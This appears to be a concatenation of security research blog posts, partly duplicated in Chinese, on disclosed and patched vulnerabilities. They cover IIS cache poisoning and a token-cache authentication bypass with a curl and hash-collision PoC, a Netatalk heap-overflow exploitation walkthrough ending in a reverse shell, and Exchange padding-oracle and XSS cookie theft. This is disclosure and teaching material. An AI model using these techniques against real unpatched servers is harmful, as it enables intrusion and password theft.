Output Caching uses a bad Query String parser that only takes the first occurrence as the Cache-Key when Query String keys are duplicated. This behavior is actually not a problem independently. However, it’s a trouble in the view of the whole architecture with the backend, ASP.NET. The backend concatenates the value of all repeated keys together, which leads to an inconsistency between parser behaviors. Therefore, a classic HTTP Parameter Pollution can make IIS cache the wrong result!
3. IIS Authentication Bypass
This may be the most interesting bug of this talk. LKRHash is a Hash Table algorithm designed and patented by Microsoft in 1997. It’s based on Linear Hashing and created by Paul Larson of Microsoft Research, Murali Krishnan and George Reilly of the IIS team.
LKRHash aims to build a scalable and high-concurrent Hash Table under the multithreading and multi-core environment. The creators put a lot of effort into making this implementation portable, flexible and customizable to adapt to multiple products across Microsoft. An application can define its own Table-Related functions, such as the Hash Function, the Key Extracting Function, or the Key Comparing Function. This kind of extensibility creates a bunch of opportunities for vulnerability mining. So, under this context, we cares more about the relationship between the records, the keys, and the functions.
CLKRHashTable::CLKRHashTable(this,"TOKEN_CACHE",// An identifier for debuggingpfnExtractKey,// Extract key from recordpfnCalcKeyHash,// Calculate hash signature of keypfnEqualKeys,// Compare two keyspfnAddRefRecord,// AddRef in FindKey, etc4.0,// Bound on the average chain length.1,// Initial size of hash table.0,// Number of subordinate hash tables.0// Allow multiple identical keys?);
Because “Logon” is an expensive operation, to improve the performance, IIS cached all tokens for password-based authentications, such as Basic Authentication by default, and the bug we found this time is located in the logic of the key-comparing function when a collision occurs.
If a login attempt whose hash hits a key that is already in the cache, LKRHash enters the application-specific pfnEqualKeys function to determine whether the key is correct or not. The application-specific logic of TokenCacheModule is as follows:
As the logic compares several parts to make the decision, it’s weird why IIS compares the username twice.
I guess the original intent was to compare the password. However, the developer copy-and-pasted the code but forgot to replace the variable name. That leads to that an attacker can reuse another user’s logged-in token with random passwords.
To build the smallest PoC to test your own, you can create a testing account and configure the Basic Authentication on your IIS.
# add a test account, please ensure to remove that after testing> net user orange test-for-CVE-2022-30209-auth-bypass /add
# the source of login is not important, this can be done outside IIS.> curl -I-su'orange:test-for-CVE-2022-30209-auth-bypass''http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Under the attacker’s terminal:
# script for sanity check>type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass')== HashString('ZeeiJT')# before the successful login> curl -I-su'orange:ZeeiJT''http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login> curl -I-su'orange:ZeeiJT''http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
As you can see, the attacker can log into the user orange with another password whose hash is the same as the original one.
However, it’s not easy to collide the hash. The probability of each attempt is only worth 1/2^32 because the hash is a 32-Bit Integer, and the attacker has no way to know the hash of existing cache keys. It’s a ridiculous number to make exploiting this bug like playing a lottery. The only pro is that the attempt costs nothing, and you have unlimited tries!
To make this bug more practical, we proposed several ways to win the lottery, such as:
Increase the odds of the collision - LKRHash combined LCGs to scramble the result to make the hash more random. However, we can lower the key space because the LCG is not one-to-one mapping under the 32-Bit Integer. There must be results that will never appear so that we can pre-compute a dictionary that excludes the password whose hash is not in the results and increase the success rate by 13% at least!
Regain the initiative - By understanding the root cause, we brainstorm several use cases that can cache the token in memory forever and no longer wait for user interaction, such as the IIS feature Connect As or leveraging software design patterns.
We have also proved this attack works naturally on Microsoft Exchange Server. By leveraging the default activated Exchange Active Monitoring service, we can enter HealthMailbox’s mailbox without passwords! This authentication-less account hijacking is useful for further exploitations such as phishing or chaining another post-auth RCE together!
Timeline
Mar 16, 2022 - We reported the IIS Cache Poisoning to Microsoft through the MSRC portal.
Apr 09, 2022 - We reported the IIS Hash-Flooding DoS to Microsoft through the MSRC portal.
Apr 10, 2022 - We reported the IIS Authentication Bypass to Microsoft through the MSRC portal.
Jul 12, 2022 - Microsoft fixed everything at July’s Patch Tuesday.
早期 NAS 一般用途為讓伺服器本身與資料分開也為了做異地備援而使用的設備,功能上主要單純讓使用者可以直接在網路上存取資料及分享檔案,現今的 NAS 更是提供多種服務,不止檔案分享更加方便,也與 IoT 的環境更加密切,例如 SMB/AFP 等服務,可輕易的讓不同系統的電腦分享檔案,普及率也遠比以前高很多。
現今的 NAS,也可裝上許多套件,更是有不少人拿來架設 Server,在這智慧家庭的年代中,更是會有不少人與 home assistant 結合,使得生活更加便利。
Motivation
為何我們要去研究 NAS 呢 ?
紅隊需求
過去在我們團隊在執行紅隊過程中,NAS 普遍會出現在企業的內網中,有時更會暴露在外網,有時更會存放不少企業的機密資料在 NAS 上,因此 NAS 漸漸被我們關注,戰略價值也比以往高很多。
勒索病毒
近年來因為 NAS 日益普及,常被拿來放個人的重要資料,使 NAS 成為了勒索病毒的目標,通常駭客組織都會利用漏洞入侵 NAS 後,將存放在 NAS 中的檔案都加密後勒索,而今年年初才又爆發一波 locker 系列的事件,我們希望可以減少類似的事情再次發生,因而提高 NAS 研究的優先程度,來增加 NAS 安全性。也為了我們實現讓世界更安全的理想。
Pwn2Own Mobile 2020
最後一點是 NAS 從 2020 開始,成為了 Pwn2Own Mobile 的主要目標之一,又剛好前年我們也想嘗試挑戰看看 Pwn2Own 的舞台,所以決定以 NAS 作為當時研究的首要目標,前年 Pwn2Own 的目標為 Synology 及 WD ,由於 Synology 為台灣企業常見設備,所以我們最後選擇了 Synology 開始研究。
最後一個要提的是 Netatalk 也就是 afp 協定,基本上沒什麼改,大部分沿用 open source 的 Netatalk,近期最嚴重的漏洞為 2018 的 Pre-auth RCE (CVE-2018-1160),關於這漏洞可參考 Exploiting an 18 Year Old Bug ,Netatalk 相對其他 Service 過去的漏洞少非常多,是比較少被注意到的一塊,並且已經長時間沒在更新維護。
Apple Filing Protocol (AFP) 是個類似 SMB 的檔案傳輸協定,提供 Mac 來傳輸及分享檔案,因 Apple 本身並沒有開源,為了讓 Unlx like 的系統也可以使用,於是誕生了 Netatalk,Netatalk 是個實作 Mac 的 AFP 協定的 OpenSource 專案,為了讓 Mac 可以更方便的用 NAS 來分享檔案,幾乎每一廠牌的 NAS 都會使用。
我們已成功在 NAS 中找到一個嚴重漏洞,並且成功寫出概念證明程式,證實可以利用在 Synology、QNAP 及 Asustor 等主流 NAS 上利用。我們也認為 Netatalk 是在 NAS 中新一代的後門!
未來希望有使用到第三方套件的 NAS 廠商,可以多重新審視一下第三方套件所帶來的安全性問題,強烈建議可以自行 Review 一次,並且注意其他廠商是否也有修復同樣套件上的漏洞,很有可能自己也會受到影響,也希望使用 NAS 的用戶,也能多多重視不要把 NAS 開在外網,能關的服務就盡可能關閉,以減少攻擊面,讓攻擊者有機可趁。
To be continue
事實上,我們並不只有找到一個漏洞,我們也發現還有不少問題,也運用在去年的 Pwn2Own Austin 上,這部分我們在大部分廠商修復後會在公開其他的研究,就敬請期待 Part II。
Two years ago, we found a critical vulnerability, CVE-2021-31439, on Synology NAS. This vulnerability can let an unauthorized attacker gain code execution on remote Synology DiskStation NAS server. We used this vulnerability to exploit Synology DS418play NAS in Pwn2Own Tokyo 2020. After that, we found the vulnerability is not only exists on Synology but also on most NAS vendors. Following we will describe the details and how we exploit it.
This research is also presented at HITCON 2021. You can check the slides here.
Network Attached Storage
In the early days, NAS was generally used to separate the server and data and also used for backup. It was mainly used to allow users to directly access data and share files on the Internet. In modern times, NAS provides not only file sharing but also various services. In this era of Internet of Things, there will be more people combining NAS and home assistants to make life more convenient.
Motivation
Why do we want to research NAS?
Red Team
While we were doing red team assessment, we found that NAS generally appeared in the corporate intranet, or sometimes even exposed to the external network. They usually stored a lot of corporate confidential information on the NAS. Therefore, NAS gradually attracted our attention, and its Strategic Value has been much higher than before.
Ransomware
NAS has become more and more popular in recent years. More and more people store important data on NAS. It makes NAS a target of ransomware. At the beginning of last year, NAS vulnerabilities led to outbreak of locker event. We hope to reduce the recurrence of similar things, thereby increasing the priority of NAS research to improve NAS security.
Pwn2Own Mobile 2020
The last reason is that NAS has become one of the main targets of Pwn2Own Mobile since 2020. We also wanted to try to join Pwn2Pwn event, so we decided to make NAS as the primary goal of the research at that time. Because of Synology is the most popular device in Taiwan, we decided start from it.
Recon
Environment
DS918+
DSM 6.2.3-25426
Our test environment is Synology DS918+. It very similar as DS418 play(target of Pwn2Own Tokyo 2020). In order to better meet the environment that we usually encounter and the requirements in Pwn2Own, it will be in the state of all default settings.
Attack surface
First of all, we can use netstat to find which port is open. We can see that in the default environment, many services are opened, such as smb/nginx/afpd.
In UDP, it has minissdpd/findhost/snmpd, etc., most of protocols help to find devices.
We selected a few services for preliminary analysis.
DSM Web interface
The first one is the DSM Web interface. This part is probably the one that most people analyze and it has obvious entry points. Many years ago, there were many command injection vulnerabilities, but after that Synology set strict specifications. There are almost no similar problems nowadays.
SMB
The SMB protocol in Synology is based on Samba. Due to the large number of user, many researcher are doing code review on it. Therefore, there are many vulnerabilities found in Samba every year. The most famous vulnerability recently is SambaCry. But because more people are reviewing, it is relatively safer than other services.
iSCSI Manager
It mainly helps users manage and monitor iSCSI services and it is developed by Synology itself. There are a lot of vulnerabilities in iSCSI recently. Maybe it will be a good target. If there is no other attack surface, we might analyze it first.
Netatalk
The last one is Netatalk, which is known as afp protocol. Netatalk in Synology is based on Netatak 3.1.8. The most critical vulnerability recently is CVE-2018-1160. For this vulnerability, please refer to Exploiting an 18 Year Old Bug. Compared with other services, Netatalk has very few vulnerabilities in the past. It is less noticed, and it has not been updated and maintained for a long time.
After overall analysis, we believe that Netatalk is the most vulnerable point in Synology. We finally decided to analyze it first. In fact, there are other services and attack surfaces, but we didn’t spend much time on other service. We will only focus on Netatalk in this article.
Netatalk
Apple Filing Protocol (AFP) is a file transfer protocol similar to SMB. It is used to transfer and share files on MAC. Because Apple itself is not open-sourced, in order to utilize AFP on Unix-like systems, Netatalk is created. Netatalk is a freely-available Open Source AFP fileserver. Almost every NAS uses it to make file sharing on MAC more convenient.
Netatalk in Synology
The netatalk in Synology is enabled by default. The version is modified from netatalk 3.1.8, and it tracks security updates regularly. Once installed, you can use the AFP protocol to share files with Synology NAS. It also enables protections such as ASLR, NX and StackGuard.
DSI
Before we look into the detail of the vulnerability we need to talk about Data Stream Interface (DSI). The DSI is a session layer format used to carry AFP traffic over TCP. While server and client communicate through the AFP, a DSI header is in front of each packet.
DSI Packet Header :
The content of the DSI packet is shown as the figure above. It contains metadata and payload, which generally follows the DSI header and payload format.
AFP over DSI :
The communication of the AFP protocol is shown above. The client first gets the server information to determine available authentication methods, the version used, and so on. Then it opens a new session and to execute AFP commands. Without authentication, we can only do related operations such as login and logout. Once the client is verified, we can do file operations like SMB.
In Netatalk implementation, dsi_block will be used as the packet structure.
dsi_block :
dsi_flag means that the packet is a request or reply
dsi_command indicates what our request does
DSICloseSession
DSICommand
DSIGetStatus
DSIOpenSession
dsi_code
Error code
For reply
dsi_doff
DSI data offset
Using in DSIWrite
dsi_len
The Length of Payload
DSI : A descriptor of dsi stream
In Netatalk, most of the information are stored in a structure called DSI for subsequent operations after parsing the packet and configuration files, such as server_quantum and payload content.
The payload of the packet is stored in the command buffer in the DSI structure. The buffer size is server_quantum, and the value is specified in the afp configuration file afp.conf.
If not specified, it uses the default size(0x100000).
With a preliminary understanding, let’s talk about this vulnerability.
Vulnerability
The vulnerability we found occurs while receiving the payload. It can be triggered without authentication. The vulnerable function is dsi_stream_receive.
It’s the function that parses the information from received packet and puts it into the DSI structure. When it receives the packet data, it first determine how much data to read into the command buffer according to the dsi_len in the dsi header. At the beginning, the size of dsi_cmdlen is verified.
However, as shown in the picture above, if dsi_doff is provided by user, dsi_doff is used as the length. There is no verification here.
The default length of dsi->commands is 0x100000(dsi->server_quantum), which is a fixed length allocated in dsi_init, so as long as dsi->header.dsi_doff is larger than dsi->server_quantum, heap overflow occurs.
Exploitation
In DSM 6.2.3, dsi->commands buffer is allocated by malloc at libc 2.20. When it allocates more than 0x20000, malloc calls mmap to allocate memory. The memory layout of afpd after dsi_init is as below.
At the below of dsi->commands is Thread Local Storage, which is used to store thread local variables of the main thread.
Because of this memory layout, we can use the vulnerability to overwrite the data on Thread Local Storage. What variables to be overwritten in the Thread Local Storage?
Thread-local Storage
Thread-local Storage (TLS) is used to store the local variables of the thread. Each thread have its own TLS, which allocated when the Thread is created. It will be released when thread is destroyed. We can use heap overflow vulnerabilities to overwrite most of the variables stored in TLS.
Target in TLS
In fact, there are many variables that can control RIP on TLS. Here are a few more common ones.
main_arena
We can forge main_arena to achieve arbitrary writing, but it’s more complicated
pointer_guard
We can modify the pointer guard to change the function pointer, but it requires a leak.
tls_dtor_list
It’s more suitable for our current situation
Overwrite tls_dtor_list
We can use the technique used by project zero in 2014 to overwrite the tls_dtor_list in the Thread Local Storage, and then control the RIP in exit().
tls_dtor_list is a singly linked list of dtor_list objects. It is mainly a destructor for thread local storage. In the end of the thread execution, it calls destructor function pointer in the linked list. We can overwrite tls_dtor_list with dtor_list we forged.
When the process exits, it calls call_tls_dtors(). This function takes the object in tls_dtor_list and calls each destructor. At this time, if we can control tls_dtor_list, it calls the function we specified.
However, in the new version of glibc, the function of dtor_list is protected by pointer guard. So we need to know the value of pointer guard before we overwrite it. The pointer guard is initialized at the beginning of the program and is an unpredictable random number. If we don’t have information leakage, it’s hard to know the value.
But in fact pointer guard would also be placed in Thread Local Storage.
In the Thread Local Storage, there is a tcbhead_t structure below the tls_dtor_list, which is the thread descriptor of main thread.
tcbhead_t structure is used to store various information about the thread such as the stack_guard and pointer_guard used by the thread. In x86-64 Linux system, the fs register always points to the tcbhead_t of the current thread, so the program access thread local storage by using fs register. The memory layout of Thread local storage is shown as below.
We can use the vulnerability to overwrite not only tls_dtor_list but also pointer guard in the tcbhead_t. In this way, we can overwrite it with NULL to solve the pointer guard problem mentioned earlier.
But another problem appears, after we overwrite pointer guard, stack guard will also be overwritten.
Before netatalk receives data, it first puts the original stack guard on the stack, and then invoke recv() to receive data to dsi->command. At this time, the buffer overflow occurs and cause stack guard and pointer guard to be overwritten. After this, netatalk returns to normal execution flow. It takes the stack guard from the stack and compare it with the stack guard in Thread Local Storage. However, it has been overwritten by us, the comparison here fails, causing abort to terminate the program.
Bypass stack guard
In the netatalk(afpd) architecture, each connection forks a new process to handle the user’s request, so the memory address and stack guard of each connection are the same as the parent process. Because of this behavior, we can use brute-force bytes one by one to leak stack guard.
Brute-force stack guard
We can use the overflow vulnerability to overwrite only the last byte of stack guard on Thread Local Storage with different value in each different connection. Once the value is different from the original value, the service disconnects. Therefore, we can use the behavior to validate whether the value we overwritten is the same as stack guard. After the lowest byte is determined, we can continue to add another byte, and so on.
In the above figure, we assume that the stack guard is 0xdeadbeeffacebc00. Due to the stack guard feature in Linux, the lowest byte must be 0. Let’s start with the second byte. We can overwrite with 0x00 to see if the connection is disconnected first. If it is disconnected, it means the value we overwrote is wrong. Next, we will test other values to see if the connection is disconnected. And so on, until there is no disconnection, we can find the correct value of section bytes. Then we can try to overwrite third byte, fourth byte and so on. After the stack guard is overwritten with 8 bytes and the connection is not disconnected, we can successfully bypass the stack guard.
After we leak the stack guard, we can actually control RIP successfully.
Next, we need to forge the structure _dtor_list to control RIP.
Construct the _dtor_list to control RIP
In DSM 6.2.3-25426, Because it does not enable PIE, we can forge _dtor_list on the data section of afpd.
Luckily, when netatalk use dhx2 login authentication, it will copy the username we provided to the data section of afpd. We can use the feature to construct _dtor_list on the known address.
After everything is constructed, we can trigger the normal function DSICloseSession to control the RIP.
tls_dtor_list in Synology
But in the glibc-2.20 in DSM 6.2.3-25426, it will invoke __tls_get_addr to get the variable tls_dtor_list. The function will take the variable from tcb->div. We also need to construct it on a known address.
The final structure we forged is as follows
Finally, we control RIP to invoke execl() in afpd to get the reverse shell.
Remark
In general Netatalk, PIE protection is enabled by default. It is difficult to construct _dtor_list in a known address. In fact, you can also leak libc address using a similar method. It is still exploitable.
This vulnerability not only affects Synology, but also affects some devices use Netatalk.
Other vendor
We tested several vendors using Netatalk and found that most device have similar problems, some are unexploitable but some are exploitable. We have tested QNAP and Asustor here, and both have successfully obtained the shell.
QNAP
We tested on TS451
QTS 4.5.4.1741
Not enable by default
Protection
No Stack Guard
No PIE
Built-in system function
Asustor
We tested on AS5202T
ADM 3.5.7.RJR1
Not enable by default
Protection
No Stack Guard
No PIE
Built-in system function
It is worth mentioning that both QNAP and Asustor NAS does not enabled stack guard, and you can get the reverse shell without brute-force.
When Synology has not yet patched this vulnerability, it can be exploited as long as the default is installed. No authentication is required.
Although QNAP and Asustor are not enabled by default, many users who use Macs still turn it on for convenience. Actually, Netatalk will be used almost in NAS. Most NAS will have an impact, as long as they enable Netatalk, an attacker can use this vulnerability to take over most of the NAS.
Your NAS is not your NAS !
In fact, many people open Netatalk on the external network. There are 130,000 machines on shodan alone, most of which are Synology.
Mitigation
Update
At present, the above three have been patched, please update to the latest version.
This vulnerability is also fixed in the recently released Netatalk 3.1.13. If you use a version before Netatalk 3.1.13, you also need to update to the latest version.
Disable AFP
It’s best to disable it directly. The project is rarely maintained, and the risk of continuing to use it is extremely high.
SMB is relatively safe
If you want to use similar feature, it is recommended to use SMB. It is relatively safe, but it can only be said to be relatively safe.
It is recommended that all related services should be opened in the intranet.
Summary
We have successfully found a serious vulnerability in the NAS, and successfully wrote a proof-of-concept, which proved that it can be exploited on many NAS such as Synology, QNAP and Asustor.
We also think that Netatalk is a new generation of backdoor in NAS!
In the future, We hope that NAS vendor who use third-party can re-examine the security issues caused by them. It is strongly recommended that NAS vendor can review it by themselves and pay attention to whether other vendor have also fixed the vulnerabilities in the same third-party. It is possible that it will also be affected.
The users who want to use NAS can also pay more attention to not opening the NAS on the external network and unused services should be disabled as much as possible to reduce the attack surface.
To be continue
In fact, we have not only found one vulnerability, we have also found that there are still many problems. In next part, we will publish more research after most vendor fix it.
This is a guest post DEVCORE collaborated with Zero Day Initiative (ZDI) and published at their blog, which describes the exploit chain we demonstrated at Pwn2Own 2021! Please visit the following link to read that :)
With ProxyShell, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port! Here is the demonstration video:
Microsoft Exchange Server 作為當今世界上最常見的郵件解決方案,已經幾乎是企業以及政府每日工作與維繫安全不可或缺的一部分!在今年一月,我們回報了一系列的 Exchange Server 漏洞給 Microsoft,並且將這個漏洞它命名為 ProxyLogon,相信如果您有在關注業界新聞,一定也聽過這個名字!ProxyLogon 也許是 Exchange 歷史上最嚴重、影響力也最大的一個漏洞!
所有我們找到的漏洞都是邏輯漏洞,這代表相較於記憶體毀損類型的漏洞,這些漏洞更容易被重現以及利用,我們也將成果發表至 Black Hat USA 及 DEFCON 上,也同時獲得了 2021 Pwnie Awards 年度 Best Server-Side Bug 獎項,如果你有興趣的話可以從這邊下載會議的投影片!
ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [投影片][影片]
Hi, this is the part 2 of the New MS Exchange Attack Surface. Because this article refers to several architecture introductions and attack surface concepts in the previous article, you could find the first piece here:
This time, we will be introducing ProxyOracle. Compared with ProxyLogon, ProxyOracle is an interesting exploit with a different approach. By simply leading a user to visit a malicious link, ProxyOracle allows an attacker to recover the user’s password in plaintext format completely. ProxyOracle consists of two vulnerabilities:
CVE-2021-31196 - Padding Oracle Attack on Exchange Cookies Parsing
Where is ProxyOracle
So where is ProxyOracle? Based on the CAS architecture we introduced before, the Frontend of CAS will first serialize the User Identity to a string and put it in the header of X-CommonAccessToken. The header will be merged into the client’s HTTP request and sent to the Backend later. Once the Backend receives, it deserializes the header back to the original User Identity in Frontend.
We now know how the Frontend and Backend synchronize the User Identity. The next is to explain how the Frontend knows who you are and processes your credentials. The Outlook Web Access (OWA) uses a fancy interface to handle the whole login mechanism, which is called Form-Based Authentication (FBA). The FBA is a special IIS module that inherits the ProxyModule and is responsible for executing the transformation between the credentials and cookies before entering the proxy logic.
The FBA Mechanism
HTTP is a stateless protocol. To keep your login state, FBA saves the username and password in cookies. Every time you visit the OWA, Exchange will parse the cookies, retrieve the credential and try to log in with that. If the login succeed, Exchange will serialize your User Identity into a string, put it into the header of X-CommonAccessToken, and forward it to the Backend
All the cookies are encrypted to ensure even if an attacker can hijack the HTTP request, he/she still couldn’t get your credential in plaintext format. FBA leverages 5 special cookies to accomplish the whole de/encryption process:
cadata - The encrypted username and password
cadataTTL - The Time-To-Live timestamp
cadataKey - The KEY for encryption
cadataIV - The IV for encryption
cadataSig - The signature to prevent tampering
The encryption logic will first generate two 16 bytes random strings as the IV and KEY for the current session. The username and password will then be encoded with Base64, encrypted by the algorithm AES and sent back to the client within cookies. Meanwhile, the IV and KEY will be sent to the user, too. To prevent the client from decrypting the credential by the known IV and KEY directly, Exchange will once again use the algorithm RSA to encrypt the IV and KEY via its SSL certificate private key before sending out!
The Exchange takes CBC as its padding mode. If you are familiar with Cryptography, you might be wondering whether the CBC mode here is vulnerable to the Padding Oracle Attack? Bingo! As a matter of fact, Padding Oracle Attack is still existing in such essential software like Exchange in 2021!
CVE-2021-31196 - The Padding Oracle
When there is something wrong with the FBA, Exchange attaches an error code and redirects the HTTP request back to the original login page. So where is the Oracle? In the cookie decryption, Exchange uses an exception to catch the Padding Error, and because of the exception, the program returned immediately so that error code number is 0, which means None:
Location: /OWA/logon.aspx?url=…&reason=0
In contrast with the Padding Error, if the decryption is good, Exchange will continue the authentication process and try to login with the corrupted username and password. At this moment, the result must be a failure and the error code number is 2, which represents InvalidCredntials:
Location: /OWA/logon.aspx?url=…&reason=2
The diagram looks like:
With the difference, we now have an Oracle to identify whether the decryption process is successful or not.
HttpProxy\FbaModule.cs
privatevoidParseCadataCookies(HttpApplicationhttpApplication){HttpContextcontext=httpApplication.Context;HttpRequestrequest=context.Request;HttpResponseresponse=context.Response;stringtext=request.Cookies["cadata"].Value;stringtext2=request.Cookies["cadataKey"].Value;stringtext3=request.Cookies["cadataIV"].Value;stringtext4=request.Cookies["cadataSig"].Value;stringtext5=request.Cookies["cadataTTL"].Value;// ...RSACryptoServiceProviderrsacryptoServiceProvider=(x509Certificate.PrivateKeyasRSACryptoServiceProvider);byte[]array=null;byte[]array2=null;byte[]rgb2=Convert.FromBase64String(text2);byte[]rgb3=Convert.FromBase64String(text3);array=rsacryptoServiceProvider.Decrypt(rgb2,true);array2=rsacryptoServiceProvider.Decrypt(rgb3,true);// ...using(AesCryptoServiceProvideraesCryptoServiceProvider=newAesCryptoServiceProvider()){aesCryptoServiceProvider.Key=array;aesCryptoServiceProvider.IV=array2;using(ICryptoTransformcryptoTransform2=aesCryptoServiceProvider.CreateDecryptor()){byte[]bytes2=null;try{byte[]array5=Convert.FromBase64String(text);bytes2=cryptoTransform2.TransformFinalBlock(array5,0,array5.Length);}catch(CryptographicExceptionex8){if(ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)){ExTraceGlobals.VerboseTracer.TraceDebug<CryptographicException>((long)this.GetHashCode(),"[FbaModule::ParseCadataCookies] Received CryptographicException {0} transforming auth",ex8);}httpApplication.Response.AppendToLog("&CryptoError=PossibleSSLCertrolloverMismatch");return;}catch(FormatExceptionex9){if(ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)){ExTraceGlobals.VerboseTracer.TraceDebug<FormatException>((long)this.GetHashCode(),"[FbaModule::ParseCadataCookies] Received FormatException {0} decoding caData auth",ex9);}httpApplication.Response.AppendToLog("&DecodeError=InvalidCaDataAuthCookie");return;}string@string=Encoding.Unicode.GetString(bytes2);request.Headers["Authorization"]=@string;}}}
It should be noted that since the IV is encrypted with the SSL certificate private key, we can’t recover the first block of the ciphertext through XOR. But it wouldn’t cause any problem for us because the C# internally processes the strings as UTF-16, so the first 12 bytes of the ciphertext must be B\x00a\x00s\x00i\x00c\x00 \x00. With one more Base64 encoding applied, we will only lose the first 1.5 bytes in the username field.
(16−6×2) ÷ 2 × (3/4) = 1.5
The Exploit
As of now, we have a Padding Oracle that allows us to decrypt any user’s cookie. BUT, how can we get the client cookies? Here we find another vulnerability to chain them together.
XSS to Steal Client Cookies
We discover an XSS (CVE-2021-31195) in the CAS Frontend (Yeah, CAS again) to chain together, the root cause of this XSS is relatively easy: Exchange forgets to sanitize the data before printing it out so that we can use the \ to escape from the JSON format and inject arbitrary JavaScript code.
But here comes another question: all the sensitive cookies are protected by the HttpOnly flag, which makes us unable to access the cookies by JavaScript. WHAT SHOULD WE DO?
Bypass the HttpOnly
As we could execute arbitrary JavaScript on browsers, why don’t we just insert the SSRF cookie we used in ProxyLogon? Once we add this cookie and assign the Backend target value as our malicious server, Exchange will become a proxy between the victims and us. We can then take over all the client’s HTTP static resources and get the protected HttpOnly cookies!
By chaining bugs together, we have an elegant exploit that can steal any user’s cookies by just sending him/her a malicious link. What’s noteworthy is that the XSS here is only helping us to steal the cookie, which means all the decryption processes wouldn’t require any authentication and user interaction. Even if the user closes the browser, it wouldn’t affect our Padding Oracle Attack!
Here is the demonstration video showing how we recover the victim’s password:
Microsoft Exchange, as one of the most common email solutions in the world, has become part of the daily operation and security connection for governments and enterprises. This January, we reported a series of vulnerabilities of Exchange Server to Microsoft and named it as ProxyLogon. ProxyLogon might be the most severe and impactful vulnerability in the Exchange history ever. If you were paying attention to the industry news, you must have heard it.
While looking into ProxyLogon from the architectural level, we found it is not just a vulnerability, but an attack surface that is totally new and no one has ever mentioned before. This attack surface could lead the hackers or security researchers to more vulnerabilities. Therefore, we decided to focus on this attack surface and eventually found at least 8 vulnerabilities. These vulnerabilities cover from server side, client side, and even crypto bugs. We chained these vulnerabilities into 3 attacks:
ProxyLogon: The most well-known and impactful Exchange exploit chain
ProxyOracle: The attack which could recover any password in plaintext format of Exchange users
ProxyShell: The exploit chain we demonstrated at Pwn2Own 2021 to take over Exchange and earn $200,000 bounty
I would like to highlight that all vulnerabilities we unveiled here are logic bugs, which means they could be reproduced and exploited more easily than any memory corruption bugs. We have presented our research at Black Hat USA and DEFCON, and won the Best Server-Side bug of Pwnie Awards 2021. You can check our presentation materials here:
ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [Slides][Video]
By understanding the basics of this new attack surface, you won’t be surprised why we can pop out 0days easily!
Intro
I would like to state that all the vulnerabilities mentioned have been reported via the responsible vulnerability disclosure process and patched by Microsoft. You could find more detail of the CVEs and the report timeline from the following table.
[1] Bugs relate to this new attack surface direclty [2] Pwn2Own 2021 bugs
Why did Exchange Server become a hot topic? From my point of view, the whole ProxyLogon attack surface is actually located at an early stage of Exchange request processing. For instance, if the entrance of Exchange is 0, and 100 is the core business logic, ProxyLogon is somewhere around 10. Again, since the vulnerability is located at the beginning place, I believe anyone who has reviewed the security of Exchange carefully would spot the attack surface. This was also why I tweeted my worry about bug collision after reporting to Microsoft. The vulnerability was so impactful, yet it’s a simple one and located at such an early stage.
You all know what happened next, Volexity found that an APT group was leveraging the same SSRF (CVE-2021-26855) to access users’ emails in early January 2021 and reported to Microsoft. Microsoft also released the urgent patches in March. From the public information released afterwards, we found that even though they used the same SSRF, the APT group was exploiting it in a very different way from us. We completed the ProxyLogon attack chain through CVE-2021-27065, while the APT group used EWS and two unknown vulnerabilities in their attack. This has convinced us that there is a bug collision on the SSRF vulnerability.
Regarding the ProxyLogon PoC we reported to MSRC appeared in the wild in late February, we were as curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation. With a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft. Maybe you would be interested in learning some interesting stories from here.
Why targeting on Exchange Server?
Mail server is a highly valuable asset that holds the most confidential secrets and corporate data. In other words, controlling a mail server means controlling the lifeline of a company. As the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.
Normally, I will review the existing papers and bugs before starting a research. Among the whole Exchange history, is there any interesting case? Of course. Although most vulnerabilities are based on known attack vectors, such as the deserialization or bad input validation, there are still several bugs that are worth mentioning.
The most special
The most special one is the arsenal from Equation Group in 2017. It’s the only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003. If the arsenal leak happened earlier, it could end up with another nuclear-level crisis.
The most interesting
The most interesting one is CVE-2018-8581 disclosed by someone who cooperated with ZDI. Though it was simply an SSRF, with the feature, it could be combined with NTLM Relay, the attacker could turn a boring SSRF into something really fancy. For instance, it could directly control the whole Domain Controller through a low privilege account.
The most surprising
The most surprising one is CVE-2020-0688, which was also disclosed by someone working with ZDI. The root cause of this bug is due to a hard-coded cryptographic key in Microsoft Exchange. With this hard-coded key, an attacker with low privilege can take over the whole Exchange Server. And as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.
Where is the new attack surface
Exchange is a very sophisticated application. Since 2000, Exchange has released a new version every 3 years. Whenever Exchange releases a new version, the architecture changes a lot and becomes different. The changes of architecture and iterations make it difficult to upgrade an Exchange Server. In order to ensure the compatibility between the new architecture and old ones, several design debts were incurred to Exchange Server and led to the new attack surface we found.
Where did we focus at Microsoft Exchange? We focused on the Client Access Service, CAS. CAS is a fundamental component of Exchange. Back to the version 2000/2003, CAS was an independent Frontend Server in charge of all the Frontend web rendering logics. After several renaming, integrating, and version differences, CAS has been downgraded to a service under the Mailbox Role. The official documentation from Microsoft indicates that:
Mailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server
From the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared.
The CAS architecture
